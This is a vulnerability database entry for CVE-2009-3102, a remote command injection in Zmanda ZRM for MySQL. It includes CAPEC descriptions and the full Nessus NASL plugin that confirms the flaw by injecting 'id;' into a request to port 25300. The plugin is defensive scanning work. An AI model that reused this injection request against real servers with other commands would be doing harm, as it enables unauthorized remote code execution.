Vulnerabilities > CVE-2009-3102 - Improper Input Validation vulnerability in Zmanda ZRM for MY SQL 2.1

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
zmanda
CWE-20
critical
nessus

Summary

The doHotCopy subroutine in socket-server.pl in Zmanda Recovery Manager (ZRM) for MySQL 2.x before 2.1.1 allows remote attackers to execute arbitrary commands via vectors involving a crafted $MYSQL_BINPATH variable.

Vulnerable Configurations

Part Description Count
Application
Zmanda
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Server Side Include (SSI) Injection
    An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
  • Cross Zone Scripting
    An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
  • Cross Site Scripting through Log Files
    An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

Nessus

NASL familyCGI abuses
NASL idZRM_MYSQL_BINPATH_CMD_EXEC.NASL
descriptionThe remote service appears to be Zmanda Recovery Manager (ZRM) for MySQL
last seen2020-06-01
modified2020-06-02
plugin id40886
published2009-09-07
reporterThis script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/40886
titleZmanda Recovery Manager for MySQL socket-server.pl MYSQL_BINPATH Variable Command Execution
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if (description)
{
  script_id(40886);
  script_version("1.14");
  script_cvs_date("Date: 2018/11/15 20:50:19");

  script_cve_id("CVE-2009-3102");
  script_bugtraq_id(42417);
  script_xref(name:"Secunia", value:"36424");

  script_name(english:"Zmanda Recovery Manager for MySQL socket-server.pl MYSQL_BINPATH Variable Command Execution");
  script_summary(english:"Tries to execute a command");

  script_set_attribute(
    attribute:"synopsis",
    value:"The remote backup service allows execution of arbitrary code."
  );
  script_set_attribute(  attribute:"description",   value:
"The remote service appears to be Zmanda Recovery Manager (ZRM) for
MySQL's socket-server.pl.  ZRM for MySQL offers a backup and recovery
solution for MySQL, and the socket-server.pl component typically runs
on a MySQL server out of xinetd to support remote operations.

The installed version of socket-server.pl fails to sanitize user input
to the 'MYSQL_BINPATH' variable before using it in a 'system()' call.
An unauthenticated, remote attacker can leverage this issue to execute
arbitrary commands on the remote host subject to the privileges under
which the service runs, typically 'mysql'."  );
  script_set_attribute(
    attribute:"see_also", 
    value:"http://www.intevydis.com/blog/?p=51"
  );
  script_set_attribute(
    attribute:"see_also", 
    value:"http://forums.zmanda.com/showthread.php?2144-PLEASE-READ-Please-upgrade-to-ZRM-community-release-2-1-1"
  );
  script_set_attribute(  attribute:"solution",  value:
"Upgrade to Zmanda ZRM 2.1.1 or later."  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_cwe_id(20);
  script_set_attribute(
    attribute:"vuln_publication_date", 
    value:"2009/08/25"
  );
  script_set_attribute(
    attribute:"patch_publication_date", 
    value:"2009/08/25"
  );
  script_set_attribute(
    attribute:"plugin_publication_date", 
    value:"2009/09/07"
  );
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("find_service2.nasl");
  script_require_ports("Services/unknown", 25300);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("data_protection.inc");


if (
  thorough_tests &&
  !get_kb_item("global_settings/disable_service_discovery")
)
{
  port = get_unknown_svc(25300);
  if (!port) exit(0, "There are no unknown services.");
  if (!silent_service(port)) exit(0, "ZRM Socket Server is silent, and the service on port "+port+" is not.");
}
else port = 25300;
if (known_service(port:port)) exit(0, "The service is already known on port "+port+".");
if (!get_tcp_port_state(port)) exit(1, "Port "+port+" is not open.");


cmd = "id";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";
versions = make_list(
  "1.6",                                    # version 2.0
  "1.2"                                     # versions 1.1.3 - 1.1.5
);


foreach version (versions)
{
  soc = open_sock_tcp(port);
  if (!soc) exit(1, "Can't open socket on port "+port+".");

  # Try to exploit the issue.
  req = string(
    version, "\n",
    "mysqlhotcopy\n",
    SCRIPT_NAME, "\n",
    "/tmp\n",
    cmd, ";\n"
  );
  send(socket:soc, data:req);

  res = recv(socket:soc, length:1024, min:32);
  close(soc);

  if (strlen(res) && egrep(pattern:cmd_pat, string:res))
  {
    if (report_verbosity > 0)
    {
      report = string(
        "\n",
        "Nessus was able to execute the command '", cmd, "' on the remote \n",
        "host by sending the following request :\n",
        "\n",
        crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n",
        req,
        crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n"
      );
      if (report_verbosity > 1)
      {
        output = chomp(res);
        report = string(
          report,
          "\n",
          "This produced the following output :\n",
          "\n",
          crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n",
          data_protection::sanitize_uid(output:output), "\n",
          crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n"
        );
      }
      security_hole(port:port, extra:report);
    }
    else security_hole(port);
    exit(0);
  }
}